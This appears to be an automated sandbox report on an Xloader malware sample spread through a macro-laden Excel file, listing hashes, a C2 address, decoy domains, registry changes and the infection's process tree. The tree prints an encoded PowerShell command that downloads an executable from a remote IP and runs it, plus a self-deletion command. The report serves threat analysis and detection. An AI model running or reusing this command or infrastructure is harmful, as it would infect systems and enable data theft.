xloader | 3d6efe59037f7b5399b5ca0b40fa9ed242894f5be067473ef67c415fdac3fe08

General

Target

6ffda0323b69bb875a8360bcdd18b398a463d3de88bb11e6511a3b3bffe5b753.xlsm
Size

14KB
MD5

70820ac2bb527bb0a10747a06d2c2b0b
SHA1

7289b7ddcdcaa9450c27e1579f36d67a544cee80
SHA256

6ffda0323b69bb875a8360bcdd18b398a463d3de88bb11e6511a3b3bffe5b753
SHA512

64be67485be70ac5aa2539a88c9846282d7178e13a46895d4686ff0ce79378bf9ed4ee7bec00cb88abc0e2e8bb41a9b9ef38aa4ff25b4e4dc6334a96ad1ee4b5

Score

10^/10

xloader pufi loader rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://84.252.122.205/xcx/system.exe

Extracted

Family

xloader

Version

2.5

Campaign

pufi

C2

http://www.homestechs.com/pufi/

Decoy

fusiongroupgames.net

hugevari.com

rebeccagriffiths.com

trocaoferta.com

theslashapp.com

codezonesoftware.xyz

sottocommunications.com

minicreators.online

course2millions.com

hfm5n1dhkjqwpe.xyz

xlab-ub.com

silvanaribeirocake.com

thefabinteriordesign.com

mg-leadership.com

petbort.com

ndust.net

203040302.xyz

jakital.com

shophuunghia.info

rednacionaldejuecesrd.net

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	916	1908	cmd.exe	EXCEL.EXE

Xloader
Xloader is a rebranded version of Formbook malware.
loader xloader

Xloader Payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/880-79-0x000000000041D450-mapping.dmp	xloader
behavioral1/memory/880-78-0x0000000000400000-0x0000000000429000-memory.dmp	xloader
behavioral1/memory/964-88-0x0000000000080000-0x00000000000A9000-memory.dmp	xloader

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 552 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

Bexscoyaparcyhnfy.exeBexscoyaparcyhnfy.exe

pid process

1824 Bexscoyaparcyhnfy.exe
880 Bexscoyaparcyhnfy.exe
Deletes itself 1 IoCs

Processes:

EXCEL.EXE

pid process

1908 EXCEL.EXE
Loads dropped DLL 2 IoCs

Processes:

powershell.exeBexscoyaparcyhnfy.exe

pid process

552 powershell.exe
1824 Bexscoyaparcyhnfy.exe

flow	pid	process
4	552	powershell.exe

pid	process
1824	Bexscoyaparcyhnfy.exe
880	Bexscoyaparcyhnfy.exe

pid	process
1908	EXCEL.EXE

Suspicious use of SetThreadContext 3 IoCs

Processes:

Bexscoyaparcyhnfy.exeBexscoyaparcyhnfy.exesvchost.exe

description	pid	process	target process
PID 1824 set thread context of 880	1824	Bexscoyaparcyhnfy.exe	Bexscoyaparcyhnfy.exe
PID 880 set thread context of 1248	880	Bexscoyaparcyhnfy.exe	Explorer.EXE
PID 964 set thread context of 1248	964	svchost.exe	Explorer.EXE

Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE

NTFS ADS 1 IoCs

Processes:

EXCEL.EXE

description ioc process

File created C:\Users\Admin\AppData\Local\Temp\7BC57F00\:Zone.Identifier:$DATA EXCEL.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1908 EXCEL.EXE

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Temp\7BC57F00\:Zone.Identifier:$DATA	EXCEL.EXE

pid	process
1908	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

powershell.exeBexscoyaparcyhnfy.exeBexscoyaparcyhnfy.exesvchost.exe

pid	process
552	powershell.exe
552	powershell.exe
552	powershell.exe
1824	Bexscoyaparcyhnfy.exe
1824	Bexscoyaparcyhnfy.exe
880	Bexscoyaparcyhnfy.exe
880	Bexscoyaparcyhnfy.exe
964	svchost.exe
964	svchost.exe
964	svchost.exe
964	svchost.exe
964	svchost.exe
964	svchost.exe
964	svchost.exe
964	svchost.exe
964	svchost.exe
964	svchost.exe
964	svchost.exe
964	svchost.exe
964	svchost.exe
964	svchost.exe
964	svchost.exe
964	svchost.exe
964	svchost.exe
964	svchost.exe

Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

Bexscoyaparcyhnfy.exesvchost.exe

pid process

880 Bexscoyaparcyhnfy.exe
880 Bexscoyaparcyhnfy.exe
880 Bexscoyaparcyhnfy.exe
964 svchost.exe
964 svchost.exe
Suspicious behavior: RenamesItself 1 IoCs

Processes:

EXCEL.EXE

pid process

1908 EXCEL.EXE

pid	process
880	Bexscoyaparcyhnfy.exe
880	Bexscoyaparcyhnfy.exe
880	Bexscoyaparcyhnfy.exe
964	svchost.exe
964	svchost.exe

pid	process
1908	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exeBexscoyaparcyhnfy.exeBexscoyaparcyhnfy.exesvchost.exeExplorer.EXE

description	pid	process
Token: SeDebugPrivilege	552	powershell.exe
Token: SeDebugPrivilege	1824	Bexscoyaparcyhnfy.exe
Token: SeDebugPrivilege	880	Bexscoyaparcyhnfy.exe
Token: SeDebugPrivilege	964	svchost.exe
Token: SeShutdownPrivilege	1248	Explorer.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1908 EXCEL.EXE
1908 EXCEL.EXE
1908 EXCEL.EXE

pid	process
1908	EXCEL.EXE
1908	EXCEL.EXE
1908	EXCEL.EXE

Suspicious use of WriteProcessMemory 27 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exeBexscoyaparcyhnfy.exeExplorer.EXEsvchost.exe

description	pid	process	target process
PID 1908 wrote to memory of 916	1908	EXCEL.EXE	cmd.exe
PID 1908 wrote to memory of 916	1908	EXCEL.EXE	cmd.exe
PID 1908 wrote to memory of 916	1908	EXCEL.EXE	cmd.exe
PID 1908 wrote to memory of 916	1908	EXCEL.EXE	cmd.exe
PID 916 wrote to memory of 552	916	cmd.exe	powershell.exe
PID 916 wrote to memory of 552	916	cmd.exe	powershell.exe
PID 916 wrote to memory of 552	916	cmd.exe	powershell.exe
PID 916 wrote to memory of 552	916	cmd.exe	powershell.exe
PID 552 wrote to memory of 1824	552	powershell.exe	Bexscoyaparcyhnfy.exe
PID 552 wrote to memory of 1824	552	powershell.exe	Bexscoyaparcyhnfy.exe
PID 552 wrote to memory of 1824	552	powershell.exe	Bexscoyaparcyhnfy.exe
PID 552 wrote to memory of 1824	552	powershell.exe	Bexscoyaparcyhnfy.exe
PID 1824 wrote to memory of 880	1824	Bexscoyaparcyhnfy.exe	Bexscoyaparcyhnfy.exe
PID 1824 wrote to memory of 880	1824	Bexscoyaparcyhnfy.exe	Bexscoyaparcyhnfy.exe
PID 1824 wrote to memory of 880	1824	Bexscoyaparcyhnfy.exe	Bexscoyaparcyhnfy.exe
PID 1824 wrote to memory of 880	1824	Bexscoyaparcyhnfy.exe	Bexscoyaparcyhnfy.exe
PID 1824 wrote to memory of 880	1824	Bexscoyaparcyhnfy.exe	Bexscoyaparcyhnfy.exe
PID 1824 wrote to memory of 880	1824	Bexscoyaparcyhnfy.exe	Bexscoyaparcyhnfy.exe
PID 1824 wrote to memory of 880	1824	Bexscoyaparcyhnfy.exe	Bexscoyaparcyhnfy.exe
PID 1248 wrote to memory of 964	1248	Explorer.EXE	svchost.exe
PID 1248 wrote to memory of 964	1248	Explorer.EXE	svchost.exe
PID 1248 wrote to memory of 964	1248	Explorer.EXE	svchost.exe
PID 1248 wrote to memory of 964	1248	Explorer.EXE	svchost.exe
PID 964 wrote to memory of 1616	964	svchost.exe	cmd.exe
PID 964 wrote to memory of 1616	964	svchost.exe	cmd.exe
PID 964 wrote to memory of 1616	964	svchost.exe	cmd.exe
PID 964 wrote to memory of 1616	964	svchost.exe	cmd.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1248

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\6ffda0323b69bb875a8360bcdd18b398a463d3de88bb11e6511a3b3bffe5b753.xlsm
2⤵
- Deletes itself
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: RenamesItself
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1908

C:\Windows\SysWOW64\cmd.exe
cmd /c Cxrgbutjpc.bat
3⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:916

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBCAGUAeABzAGMAbwB5AGEAcABhAHIAYwB5AGgAbgBmAHkALgBlAHgAZQAiADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwA4ADQALgAyADUAMgAuADEAMgAyAC4AMgAwADUALwB4AGMAeAAvAHMAeQBzAHQAZQBtAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApAA==
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:552

C:\Users\Admin\AppData\Roaming\Bexscoyaparcyhnfy.exe
"C:\Users\Admin\AppData\Roaming\Bexscoyaparcyhnfy.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1824

C:\Users\Admin\AppData\Local\Temp\Bexscoyaparcyhnfy.exe
C:\Users\Admin\AppData\Local\Temp\Bexscoyaparcyhnfy.exe
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:880

C:\Windows\SysWOW64\svchost.exe
"C:\Windows\SysWOW64\svchost.exe"
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:964

C:\Windows\SysWOW64\cmd.exe
/c del "C:\Users\Admin\AppData\Local\Temp\Bexscoyaparcyhnfy.exe"
3⤵
PID:1616

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Bexscoyaparcyhnfy.exe
MD5
1784e74e8dd172731e715668f905639b

SHA1
8f180642955070583837e55fa3c5677c059a1e3c

SHA256
ad6eba8fb34f6e35f73fc65c58ed19e6648604247dc8a6e1c7db9156553dd77f

SHA512
786e1bb8832dbe875a4bcf7fa1ccb0f0ce1127e3049fd31d3a3c707c54f8531e52c5ef5a9f449a35e8c8982325e307ef772feb8fa133b755e55d3ea1b987f36b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Bexscoyaparcyhnfy.exe
MD5
1784e74e8dd172731e715668f905639b

SHA1
8f180642955070583837e55fa3c5677c059a1e3c

SHA256
ad6eba8fb34f6e35f73fc65c58ed19e6648604247dc8a6e1c7db9156553dd77f

SHA512
786e1bb8832dbe875a4bcf7fa1ccb0f0ce1127e3049fd31d3a3c707c54f8531e52c5ef5a9f449a35e8c8982325e307ef772feb8fa133b755e55d3ea1b987f36b

Download Submit
C:\Users\Admin\AppData\Roaming\Bexscoyaparcyhnfy.exe
MD5
1784e74e8dd172731e715668f905639b

SHA1
8f180642955070583837e55fa3c5677c059a1e3c

SHA256
ad6eba8fb34f6e35f73fc65c58ed19e6648604247dc8a6e1c7db9156553dd77f

SHA512
